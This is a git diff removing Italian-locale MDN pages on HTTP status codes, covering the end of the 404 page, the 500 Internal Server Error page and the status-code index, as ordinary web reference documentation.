- -<pre class="brush: bash">ErrorDocument 404 /notfound.html</pre> - -<p>Per un esempio di pagina 404 personalizzata, vedi <a href="https://developer.mozilla.org/en-US/404">MDN's 404 page</a>.</p> - -<div class="note"> -<p>Un design personalizzato è un'ottima cosa, ma con moderazione. Puoi rendere la tua pagina 404 divertente e umana, ma cerca di non confondere i tuoi utenti.</p> -</div> - -<h2 id="Specifiche_tecniche">Specifiche tecniche</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> - -<h2 id="Compatibilità_Browser">Compatibilità Browser</h2> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("http.status.404")}}</p> - -<h2 id="Vedi_anche">Vedi anche</h2> - -<ul> - <li>{{HTTPStatus(410)}}</li> - <li> - <p>{{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}}</p> - </li> -</ul> diff --git a/files/it/web/http/status/500/index.html b/files/it/web/http/status/500/index.html deleted file mode 100644 index 7dd8968d1f..0000000000 --- a/files/it/web/http/status/500/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: 500 Internal Server Error -slug: Web/HTTP/Status/500 -translation_of: Web/HTTP/Status/500 ---- -<div>{{HTTPSidebar}}</div> - -<p class="syntaxbox"><span class="tlid-translation translation"><span title="">Il codice di risposta, del protocollo HTTP (</span></span> HyperText Transfer Protocol <span class="tlid-translation translation"><span title="">), <strong>"500 Internal Server Error" </strong>indica che il server ha riscontrato una condizione imprevista, che gli ha impedito di andare avanti.</span></span></p> - -<p>Questo tipo di risposta all'errore è una generica "catch-all".<span class="tlid-translation translation"> <span title="">A volte, gli amministratori dei server registrano queste risposte di errore con ulteriori dettagli, per impedire che l'errore si verifichi nuovamente in futuro.</span></span></p> - -<div class="tlid-result-transliteration-container result-transliteration-container transliteration-container"> -<div class="tlid-transliteration-content transliteration-content full"> </div> -</div> - -<div class="result-footer source-or-target-footer tlid-copy-target"> </div> - -<h2 id="Status">Status</h2> - -<pre class="syntaxbox">500 Internal Server Error</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("http.status.500")}}</p> diff --git a/files/it/web/http/status/index.html b/files/it/web/http/status/index.html deleted file mode 100644 index e490502369..0000000000 --- a/files/it/web/http/status/index.html +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: HTTP response status codes -slug: Web/HTTP/Status -tags: - - HTTP - - NeedsTranslation - - Status codes - - TopicStub -translation_of: Web/HTTP/Status ---- -<div>{{HTTPSidebar}}</div> - -<p>HTTP response status codes indicate whether a specific <a href="/en-US/docs/Web/HTTP">HTTP</a> request has been successfully completed. Responses are grouped in five classes: informational responses, successful responses, redirects, client errors, and servers errors. Status codes are defined by <a href="https://tools.ietf.org/html/rfc2616#section-10">section 10 of RFC 2616</a>.</p> - -<h2 id="Information_responses">Information responses</h2> - -<dl> - <dt>{{HTTPStatus(100, "100 Continue")}}</dt> - <dd>This interim response indicates that everything so far is OK and that the client should continue with the request or ignore it if it is already finished.</dd> - <dt>{{HTTPStatus(101, "101 Switching Protocol")}}</dt> - <dd>This code is sent in response to an {{HTTPHeader("Upgrade")}} request header by the client, and indicates the protocol the server is switching too.</dd> - <dt>{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}})</dt> - <dd>This code indicates that the server has received and is processing the request, but no response is available yet.</dd> -</dl> - -<h2 id="Successful_responses">Successful responses</h2> - -<dl> - <dt>{{HTTPStatus(200, "200 OK")}}</dt> - <dd>The request has succeeded. The meaning of a success varies depending on the HTTP method:<br> - GET: The resource has been fetched and is transmitted in the message body.<br> - HEAD: The entity headers are in the message body.<br> - POST: The resource describing the result of the action is transmitted in the message body.<br> - TRACE: The message body contains the request message as received by the server</dd> - <dt>{{HTTPStatus(201, "201 Created")}}</dt> - <dd>The request has succeeded and a new resource has been created as a result of it. This is typically the response sent after a PUT request.</dd> - <dt>{{HTTPStatus(202, "202 Accepted")}}</dt> - <dd>The request has been received but not yet acted upon. It is non-committal, meaning that there is no way in HTTP to later send an asynchronous response indicating the outcome of processing the request. It is intended for cases where another process or server handles the request, or for batch processing.</dd> - <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}}</dt> - <dd>This response code means returned meta-information set is not exact set as available from the origin server, but collected from a local or a third party copy. Except this condition, 200 OK response should be preferred instead of this response.</dd> - <dt>{{HTTPStatus(204, "204 No Content")}}</dt> - <dd>There is no content to send for this request, but the headers may be useful. The user-agent may update its cached headers for this resource with the new ones.</dd> - <dt>{{HTTPStatus(205, "205 Reset Content")}}</dt> - <dd>This response code is sent after accomplishing request to tell user agent reset document view which sent this request.</dd> - <dt>{{HTTPStatus(206, "206 Partial Content")}}</dt> - <dd>This response code is used because of range header sent by the client to separate download into multiple streams.</dd> - <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})</dt> - <dd>A Multi-Status response conveys information about multiple resources in situations where multiple status codes might be appropriate.</dd> - <dt>{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})</dt> - <dd>Used inside a DAV: propstat response element to avoid enumerating the internal members of multiple bindings to the same collection repeatedly.</dd> - <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta encoding</a>)</dt> - <dd>The server has fulfilled a GET request for the resource, and the response is a representation of the result of one or more instance-manipulations applied to the current instance.</dd> -</dl> - -<h2 id="Redirection_messages">Redirection messages</h2> - -<dl> - <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt> - <dd>The request has more than one possible responses. User-agent or user should choose one of them. There is no standardized way to choose one of the responses.</dd> - <dt>{{HTTPStatus(301, "301 Moved Permanently")}}</dt> - <dd>This response code means that URI of requested resource has been changed. Probably, new URI would be given in the response.</dd> - <dt>{{HTTPStatus(302, "302 Found")}}</dt> - <dd>This response code means that URI of requested resource has been changed <em>temporarily</em>. New changes in the URI might be made in the future. Therefore, this same URI should be used by the client in future requests.</dd> - <dt>{{HTTPStatus(303, "303 See Other")}}</dt> - <dd>Server sent this response to directing client to get requested resource to another URI with an GET request.</dd> - <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt> - <dd>This is used for caching purposes. It is telling to client that response has not been modified. So, client can continue to use same cached version of response.</dd> - <dt><code>305 Use Proxy</code> {{deprecated_inline}}</dt> - <dd>Was defined in a previous version of the HTTP specification to indicate that a requested response must be accessed by a proxy. It has been deprecated due to security concerns regarding in-band configuration of a proxy.</dd> - <dt><code>306 unused</code></dt> - <dd>This response code is no longer used, it is just reserved currently. It was used in a previous version of the HTTP 1.1 specification.</dd> - <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt> - <dd>Server sent this response to directing client to get requested resource to another URI with same method that used prior request. This has the same semantic than the <code>302 Found</code> HTTP response code, with the exception that the user agent <em>must not</em> change the HTTP method used: if a <code>POST</code> was used in the first request, a <code>POST</code> must be used in the second request.</dd> - <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt> - <dd>This means that the resource is now permanently located at another URI, specified by the <code>Location:</code> HTTP Response header. This has the same semantics as the <code>301 Moved Permanently</code> HTTP response code, with the exception that the user agent <em>must not</em> change the HTTP method used: if a <code>POST</code> was used in the first request, a <code>POST</code> must be used in the second request.</dd> -</dl> - -<h2 id="Client_error_responses">Client error responses</h2> - -<dl> - <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt> - <dd>This response means that server could not understand the request due to invalid syntax.</dd> - <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt> - <dd>Although the HTTP standard specifies "unauthorized", semantically this response means "unauthenticated". That is, the client must authenticate itself to get the requested response.</dd> - <dt><code>402 Payment Required</code></dt> - <dd>This response code is reserved for future use. Initial aim for creating this code was using it for digital payment systems however this is not used currently.</dd> - <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt> - <dd>The client does not have access rights to the content, i.e. they are unauthorized, so server is rejecting to give proper response. Unlike 401, the client's identity is known to the server.</dd> - <dt>{{HTTPStatus(404, "404 Not Found")}}</dt> - <dd>The server can not find requested resource. In the browser, this means the URL is not recognized. In an API, this can also mean that the endpoint is valid but the resource itself does not exist. Servers may also send this response instead of 403 to hide the existence of a resource from an unauthorized client. This response code is probably the most famous one due to its frequent occurence on the web.</dd> - <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt> - <dd>The request method is known by the server but has been disabled and cannot be used. For example, an API may forbid DELETE-ing a resource. The two mandatory methods, <code>GET</code> and <code>HEAD</code>, must never be disabled and should not return this error code.</dd> - <dt>{{HTTPStatus(406, "406 Not Acceptable")}}</dt> - <dd>This response is sent when the web server, after performing <a href="/en-US/docs/HTTP/Content_negotiation#Server-driven_negotiation">server-driven content negotiation</a>, doesn't find any content following the criteria given by the user agent.</dd> - <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt> - <dd>This is similar to 401 but authentication is needed to be done by a proxy.</dd> - <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt> - <dd>This response is sent on an idle connection by some servers, even without any previous request by the client. It means that the server would like to shut down this unused connection. This response is used much more since some browsers, like Chrome, Firefox 27+, or IE9, use HTTP pre-connection mechanisms to speed up surfing. Also note that some servers merely shut down the connection without sending this message.</dd> - <dt>{{HTTPStatus(409, "409 Conflict")}}</dt> - <dd>This response is sent when a request conflicts with the current state of the server.</dd> - <dt>{{HTTPStatus(410, "410 Gone")}}</dt> - <dd>This response would be sent when the requested content has been permenantly deleted from server, with no forwarding address. Clients are expected to remove their caches and links to the resource. The HTTP specification intends this status code to be used for "limited-time, promotional services". APIs should not feel compelled to indicate resources that have been deleted with this status code.</dd> - <dt>{{HTTPStatus(411, "411 Length Required")}}</dt> - <dd>Server rejected the request because the <code>Content-Length</code> header field is not defined and the server requires it.</dd> - <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt> - <dd>The client has indicated preconditions in its headers which the server does not meet.</dd> - <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt> - <dd>Request entity is larger than limits defined by server; the server might close the connection or return an <code>Retry-After</code> header field.</dd> - <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt> - <dd>The URI requested by the client is longer than the server is willing to interpret.</dd> - <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt> - <dd>The media format of the requested data is not supported by the server, so the server is rejecting the request.</dd> - <dt>{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}</dt> - <dd>The range specified by the <code>Range</code> header field in the request can't be fulfilled; it's possible that the range is outside the size of the target URI's data.</dd> - <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt> - <dd>This response code means the expectation indicated by the <code>Expect</code> request header field can't be met by the server.</dd> - <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt> - <dd>The server refuses the attempt to brew coffee with a teapot.</dd> - <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt> - <dd>The request was directed at a server that is not able to produce a response. This can be sent by a server that is not configured to produce responses for the combination of scheme and authority that are included in the request URI.</dd> - <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt> - <dd>The request was well-formed but was unable to be followed due to semantic errors.</dd> - <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt> - <dd>The resource that is being accessed is locked.</dd> - <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt> - <dd>The request failed due to failure of a previous request.</dd> - <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt> - <dd>The server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol. The server sends an {{HTTPHeader("Upgrade")}} header in a 426 response to indicate the required protocol(s).</dd> - <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt> - <dd>The origin server requires the request to be conditional. Intended to prevent the 'lost update' problem, where a client GETs a resource's state, modifies it, and PUTs it back to the server, when meanwhile a third party has modified the state on the server, leading to a conflict.</dd> - <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt> - <dd>The user has sent too many requests in a given amount of time ("rate limiting").</dd> - <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt> - <dd>The server is unwilling to process the request because its header fields are too large. The request MAY be resubmitted after reducing the size of the request header fields.</dd> - <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt> - <dd>The user requests an illegal resource, such as a web page censored by a government.</dd> -</dl> - -<h2 id="Server_error_responses">Server error responses</h2> - -<dl> - <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt> - <dd>The server has encountered a situation it doesn't know how to handle.</dd> - <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt> - <dd>The request method is not supported by the server and cannot be handled. The only methods that servers are required to support (and therefore that must not return this code) are <code>GET</code> and <code>HEAD</code>.</dd> - <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt> - <dd>This error response means that the server, while working as a gateway to get a response needed to handle the request, got an invalid response.</dd> - <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt> - <dd>The server is not ready to handle the request. Common causes are a server that is down for maintenance or that is overloaded. Note that together with this response, a user-friendly page explaining the problem should be sent. This responses should be used for temporary conditions and the <code>Retry-After:</code> HTTP header should, if possible, contain the estimated time before the recovery of the service. The webmaster must also take care about the caching-related headers that are sent along with this response, as these temporary condition responses should usually not be cached.</dd> - <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt> - <dd>This error response is given when the server is acting as a gateway and cannot get a response in time.</dd> - <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt> - <dd>The HTTP version used in the request is not supported by the server.</dd> - <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt> - <dd>The server has an internal configuration error: transparent content negotiation for the request results in a circular reference.</dd> - <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt> - <dd>The server has an internal configuration error: the chosen variant resource is configured to engage in transparent content negotiation itself, and is therefore not a proper end point in the negotiation process.</dd> - <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt> - <dd>The server detected an infinite loop while processing the request.</dd> - <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt> - <dd>Further extensions to the request are required for the server to fulfill it.</dd> - <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt> - <dd>The 511 status code indicates that the client needs to authenticate to gain network access.</dd> -</dl> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_status_codes">List of HTTP status codes on Wikipedia</a></li> - <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">IANA official registry of HTTP status codes</a></li> -</ul> |